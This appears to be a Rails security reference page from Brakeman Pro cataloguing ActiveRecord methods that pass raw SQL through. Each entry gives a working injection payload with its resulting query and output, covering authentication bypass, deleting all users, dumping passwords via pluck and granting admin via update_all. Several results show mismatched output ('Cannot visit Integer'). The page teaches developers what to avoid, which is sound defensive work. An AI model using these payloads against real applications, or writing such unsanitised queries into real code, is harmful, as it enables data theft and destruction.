Rails SQL Injection

Overview

The Ruby on Rails web framework provides a library called ActiveRecord which provides an abstraction for accessing databases.

This page lists many query methods and options in ActiveRecord which do not sanitize raw SQL arguments and are not intended to be called with unsafe user input. Careless use of these methods can open up code to SQL Injection exploits. The examples here do not include SQL injection from known CVEs and are not vulnerabilities themselves, only potential misuses of the methods.

Please use this list as a guide of what not to do.

This list is in no way exhaustive or complete! Please feel free to contribute.

Examples

Each method or option described below is accompanied by an example demonstrating how the ActiveRecord interface could be exploited if used unsafely. These are not necessarily the worst exploits, they represent just a small hint of what could be accomplished if one is not careful. The examples on this page were tested with Rails 3.2.22 and SQLite 3.

Interactive Version

Clone and run this site from the git repo to try out or modify the examples!

Calculate Methods

There are several methods based around ActiveRecord::Calculations#calculate.

calculate takes an operation, a column name, and an options hash similar to ActiveRecord::FinderMethods#find. Methods based on calculate are shortcuts for different operations, and take a column name and options hash as arguments.

In addition to the vulnerable options listed for find, the column name argument can also accept SQL!

Calculation methods:

  • average
  • calculate
  • count
  • maximum
  • minimum
  • sum

Example

This example finds the age of a specific user, rather than the sum of all user ages.

params[:column] = "age) FROM users WHERE name = 'Bob';"
Order.calculate(:sum, params[:column])
Query
SELECT SUM(age) FROM users WHERE name = 'Bob';) AS sum_id FROM "orders"
Result
59

Delete All Method

Any methods which delete records should be used with care!

The delete_all method takes the same kind of conditions arguments as find. The argument can be a string, an array, or a hash of conditions. Strings will not be escaped at all. Use an array or hash to safely parameterize arguments.

Never pass user input directly to delete_all.

Example

This example bypasses any conditions and deletes all users.

params[:id] = "1) OR 1=1--"
User.delete_all("id = #{params[:id]}")
Query
DELETE FROM "users" WHERE (id = 1) OR 1=1--)
Result
6

Destroy All Method

Any methods which delete records should be used with lots of caution! destroy_all is only slightly safer than delete_all since it will invoke callbacks associated with the model.

The destroy_all method takes the same kind of conditions arguments as find. The argument can be a string, an array, or a hash of conditions. Strings will not be escaped at all. Use an array or hash to safely parameterize arguments.

Never pass user input directly to destroy_all.

Example

This example bypasses any conditions and deletes all users.

Because ActiveRecord needs to instantiate each object, this query is performed in a transaction. The SQL for selecting the records to delete (where the injection occurs) looks like this:

SELECT "users".* FROM "users" WHERE (id = NULL AND admin = '') OR 1=1--')

params[:admin] = "') OR 1=1--'"
User.destroy_all(["id = ? AND admin = '#{params[:admin]}", params[:id]])
Query
commit transaction
Result
[#<User id: 13, name: "Bob", password: "Bobpass", age: 73, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 14, name: "Jim", password: "Jimpass", age: 74, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 15, name: "Sarah", password: "Sarahpass", age: 25, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 16, name: "Tina", password: "Tinapass", age: 26, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 17, name: "Tony", password: "Tonypass", age: 73, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 18, name: "Admin", password: "supersecretpass", age: 62, admin: true, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">]

Exists? Method

The exists? method is used to check if a given record exists. The argument is usually a primary key. If the argument is a string, it will be escaped. If the argument is an array or hash, it will be treated like a conditions option.

However, code like this is not safe:

User.exists? params[:user]

Since Rails will automatically convert parameters to arrays or hashes, it is possible to inject any SQL into this query.

For example,

?user[]=1

Will generate the query

SELECT  1 AS one FROM "users"  WHERE (1) LIMIT 1

This query will always return true. To be be safe, convert user input to a string or integer if using it as the primary key in exists?.

Example

This is more obvious than the example above, but demonstrates checking another table for a given value.

params[:user] = "') or (SELECT 1 FROM 'orders' WHERE total > 1)--"
User.exists? ["name = '#{params[:user]}'"]
Query
commit transaction
Result
Cannot visit Integer

Find Methods

This method was deprecated in Rails 4.0 and removed in Rails 4.1.

The find method is a very general and commonly-used query method. The first argument to find is either an integer ID, :all, :first, or :last. The last argument is an options hash. The options accepted by find are often used in other methods as well.

The first argument to find will be escaped.

Options:

  • :conditions - Can be a string, an array, or a hash. If a string, it will be passed to the database unchanged. If an array, the first element is a string and the remaining elements are values to interpolate into the string. The values will be sanitized, but the string element will not. If a hash is given, the keys and values will be properly sanitized.
  • :order - Unsanitized SQL string for ORDER BY clause.
  • :group - Unsanitized SQL string for GROUP BY clause.
  • :having - Unsanitized SQL string for HAVING clause.
  • :limit - Will be converted to an integer.
  • :offset - Will be converted to an integer.
  • :joins - Accepts SQL string, which is not sanitized. Also accepts named associations or an array containing both strings and named associations.
  • :include - Only accepts named associations.
  • :select - Unsanitized SQL string SELECT clause.
  • :from - Unsanitized SQL string.
  • :readonly - Boolean value
  • :lock - Unsanitized SQL string. May be ignored in databases that do not support locks. Also accepts a boolean.

The all, first, last, exists, where, calculate, update_all and other methods accept these options or a subset.

For more information, see the ActiveRecord docs.

Example

This is just a tiny example of what can be done with interpolation in conditions. Here we return the first user with the admin flag set.

params[:name] = "name=') OR admin = 't' --"
User.find(:first, :conditions => "name = '#{params[:name]}'")
Query
commit transaction
Result
Cannot visit Integer

From Option

The :from option, used in any method that accepts find-style query options, does not escape its input.

User input in :from options is likely rare.

Example

Instead of returning all non-admin users, we return all admin users.

params[:from] = "users WHERE admin = 't';"
User.all(:from => params[:from], :conditions => { :admin => :false })
Query
SELECT "users".* FROM users WHERE admin = 't'; WHERE "users"."admin" = 'false'
Result
[#<User id: 36, name: "Admin", password: "supersecretpass", age: 68, admin: true, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">]

Group Option

The :group option for queries is unescaped.

Example

The intent of this query is to group non-admin users by the specified column. Instead, the query returns all users.

params[:group] = "name UNION SELECT * FROM users"
User.find(:all, :group => params[:group], :conditions => { :admin => false })
Query
SELECT "users".* FROM "users" WHERE "users"."admin" = 'f' GROUP BY name UNION SELECT * FROM users
Result
[#<User id: 37, name: "Bob", password: "Bobpass", age: 37, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 38, name: "Jim", password: "Jimpass", age: 46, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 39, name: "Sarah", password: "Sarahpass", age: 49, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 40, name: "Tina", password: "Tinapass", age: 30, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 41, name: "Tony", password: "Tonypass", age: 64, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 42, name: "Admin", password: "supersecretpass", age: 20, admin: true, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">]

Having Method

The having method does not escape its input and is easy to use for SQL injection since it tends to be at the end of a query.

Example

This input injects a union in order to return all orders, instead of just the orders from a single user.

params[:total] = "1 UNION SELECT * FROM orders"
Order.where(:user_id => 1).group(:user_id).having("total > #{params[:total]}")
Query
commit transaction
Result
Cannot visit Integer

Having Option

Like the method, the :having option does not escape its input and is easy to use for SQL injection since it tends to be at the end of a query.

Example

This input injects a union in order to return all orders, instead of just the orders from a single user.

params[:total] = "1 UNION SELECT * FROM orders"
Order.all(:conditions => { :user_id => 1 }, :group => :user_id, :having => "total > #{params[:total]}")
Query
commit transaction
Result
Cannot visit Integer

Joins Method

The joins method can take an array of associations or straight SQL strings.

Example

Skip WHERE clause and return all orders instead of just the orders for the specified user.

params[:table] = "--"
Order.where(:user_id => 1).joins(params[:table])
Query
commit transaction
Result
Cannot visit Integer

Lock Method and Option

The lock method and the :lock option for find and related methods accepts a SQL fragment.

Example

Not a real example: SQLite does not support this option.

params[:lock] = "?"
User.where(1).lock(params[:lock])
Query
commit transaction
Result
Cannot visit Integer

Order Method

The order method accepts any SQL string.

Example

Taking advantage of SQL injection in ORDER BY clauses is tricky, but a CASE statement can be used to test other fields, switching the sort column for true or false. While it can take many queries, an attacker can determine the value of the field.

params[:sortby] = "(CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END)"
User.order("#{params[:sortby]} ASC")
Query
SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC
Result
[#<User id: 72, name: "Admin", password: "supersecretpass", age: 36, admin: true, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 67, name: "Bob", password: "Bobpass", age: 65, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 68, name: "Jim", password: "Jimpass", age: 26, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 69, name: "Sarah", password: "Sarahpass", age: 40, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 70, name: "Tina", password: "Tinapass", age: 41, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">, #<User id: 71, name: "Tony", password: "Tonypass", age: 31, admin: false, created_at: "2022-06-02 06:44:41", updated_at: "2022-06-02 06:44:41">]

Order Option

The :order option, like the method, will accept any SQL string.

Example

Since ORDER BY clauses can accept a column index, they can be used to determine the number of columns in the table. The index can be incremented until the query returns an error.

params[:sort] = ",8"
User.all(:order => "name #{params[:sort]}")
Query
SELECT "users".* FROM "users" ORDER BY name ,8
Result
SQLite3::SQLException: 2nd ORDER BY term out of range - should be between 1 and 7: SELECT "users".* FROM "users" ORDER BY name ,8

Pluck Method

The pluck method is intended to select a specific column from a table. Instead, it accepts any SQL statement at all. This allows an attacker to completely control the query from SELECT onwards.

However, the return result will still be an array of values from a single column.

Example

Output the passwords from the users table.

params[:column] = "password FROM users--"
Order.pluck(params[:column])
Query
SELECT password FROM users-- FROM "orders"
Result
["Bobpass", "Jimpass", "Sarahpass", "Tinapass", "Tonypass", "supersecretpass"]

Reorder Method

The reorder method is not very common, but it accepts any SQL fragment just like the order method.

Example

The reorder method is vulnerable to the same type of injection attacks as order.

params[:order] = ", 8"
User.order("name DESC").reorder("id #{params[:order]}")
Query
SELECT "users".* FROM "users" ORDER BY id , 8
Result
SQLite3::SQLException: 2nd ORDER BY term out of range - should be between 1 and 7: SELECT "users".* FROM "users" ORDER BY id , 8

Select Option

The :select option allows complete control over the SELECT clause of the query.

Example

Since the SELECT clause is at the beginning of the query, nearly any SQL can be injected.

params[:column] = "* FROM users WHERE admin = 't' ;"
User.first(:conditions => { :name => params[:name], :password => params[:password] }, :select => params[:column])
Query
commit transaction
Result
Cannot visit Integer

Where Method

The where method can be passed a straight SQL string. Calls using a hash of name-value pairs are escaped, and the array form can be used for safely parameterizing queries as with the find method.

Example

The example below is using classic SQL injection to bypass authentication.

params[:name] = "') OR 1--"
User.where("name = '#{params[:name]}' AND password = '#{params[:password]}'").first
Query
commit transaction
Result
Cannot visit Integer

Update All Order Option

The update_all method accepts two options: :order and :limit. :limit is cast to an integer and is safe from injection. The :order option, however, will accept any SQL string.

Example

Since the query is encasing the IN clause in parentheses, we can easily close that clause with a parenthesis and append almost any SQL.

params[:order] = "name) OR 1=1;"
User.update_all("admin = 1", "name LIKE 'B%'" , { :order => params[:order] })
Query
UPDATE "users" SET admin = 1 WHERE "users"."id" IN (SELECT "users"."id" FROM "users" WHERE (name LIKE 'B%') ORDER BY name) OR 1=1;)
Result
6

More Resources

This site is brought to you by the folks at Brakeman Pro.

More information about Rails security:

This site is also available as a Rails application. To interact with this site dynamically and try out different SQL injection attacks you can clone the code and run it locally. Contributions and corrections are welcome!